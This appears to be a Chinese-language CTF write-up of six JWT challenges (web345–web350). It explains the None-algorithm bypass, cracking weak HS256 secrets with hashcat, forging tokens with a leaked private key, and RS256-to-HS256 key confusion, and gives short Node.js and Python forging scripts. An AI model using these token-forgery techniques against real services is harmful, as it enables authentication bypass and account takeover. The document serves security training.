目录
传统token与JWT方式的区别:
<1> web345(None 无签名认证)
<2> web346(None算法绕过签名)
<3> web347(弱口令密钥)
<4> web348(爆破)
<5> web349(公钥私钥泄露)
<6> web350(密钥混淆攻击 RS256=>HS256)
传统token与JWT方式的区别:
传统token方式:
用户登录成功后,服务端生成一个随机token给用户,并且在服务端(数据库或缓存)中保存一份token,以后用户再来访问时需携带token,服务端接收到token之后,去数据库或缓存中进行校验token的是否超时、是否合法。
jwt方式:
用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法
<1> web345(None 无签名认证)
进入题目:where is flag?
查看源码: 得到:
抓个包看Cookie jwt decode之后得知 alg为None算法,无签名认证,我们放到JWT.io里构造JWT
因为这里没用None算法签名,因此我们先改成HS256 更改sub为admin之后取签名 . 及之前部分,放到cookie中发包 请求/admin/
<2> web346(None算法绕过签名)
和上一道题一样,需要admin身份访问/admin/
不同于上一题,"alg":"HS256" 表示这道题为:HS256加密作签名的JWT
不过,JWT 支持将算法设定为 “None”。如果“alg” 字段设为“ None”,那么签名会被置空,这样任何 token 都是有效的
我们修改alg为:"None", none也可以 然后修改sub为 admin 去掉后边签名部分(保留最后的 .)
<3> web347(弱口令密钥)
这一关是 HS256加密签名,无法None算法绕过,但是密钥是弱口令
这里我们可以 c-jwt-cracker来爆破一下 hashcat也可以 其中一个爆不出来的时候就可以用另一个
hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzY1Njk0MiwiZXhwIjoxNjY3NjY0MTQyLCJuYmYiOjE2Njc2NTY5NDIsInN1YiI6InVzZXIiLCJqdGkiOiJkODMwMGU0MWJkZWI5Y2M1MjIzNzgxMDdkMDE2MzlhOCJ9.lYnVCfleYbtGCZMTtBlRHPn2b9AKLLa2qSe7ksQb53o jwt.secrets.list
密钥为 123456
到JWT.io 网站上填上密钥123456 修改sub为admin
拿构造好的JWT 放入cookie中,发包请求/admin/ 得到flag
<4> web348(爆破)
同web347 爆破密钥 hashcat最终爆出来 aaab
去 JWT.io 利用密钥 更改sub为admin之后再次Sign 放到cookie中 发包访问/admin/ 得到flag
<5> web349(公钥私钥泄露)
APP.js中得到一段js代码
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
公钥私钥泄露,访问/private.key /public.key 得到公钥密钥
服务器利用私钥生成jwt,利用公钥解密jwt,所以我们只要有私钥然后自己重新生成就可以
运行下面的js代码生成jwt (需要安装jsonwebtoken库 npm install jsonwebtoken --save)
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)
修改jwt后post方式访问 就可以得到flag 或者python代码
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
<6> web350(密钥混淆攻击 RS256=>HS256)
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');
});
router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//routes/public.key'); // get public key
jwt.verify(auth, cert,function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin'+err);
}
});
});
下载下来题目源码,得到public.key
这里我们可以利用:将RS256算法改为HS256(非对称密码算法=>对称密码算法)
绕过服务端签名检测,从而构造JWT
解释:
HS256算法使用密钥为所有消息进行签名和验证。
而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。
如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。
由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。
这样的话,后端代码使用RSA公钥+HS256算法进行签名验证
exp如下:
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)
执行得到 构造好的JWT,放入cookie中POST发包,得到flag
(不知道为什么vscode执行会报没有模块,cmd下执行却没什么事)
精彩文章
发表评论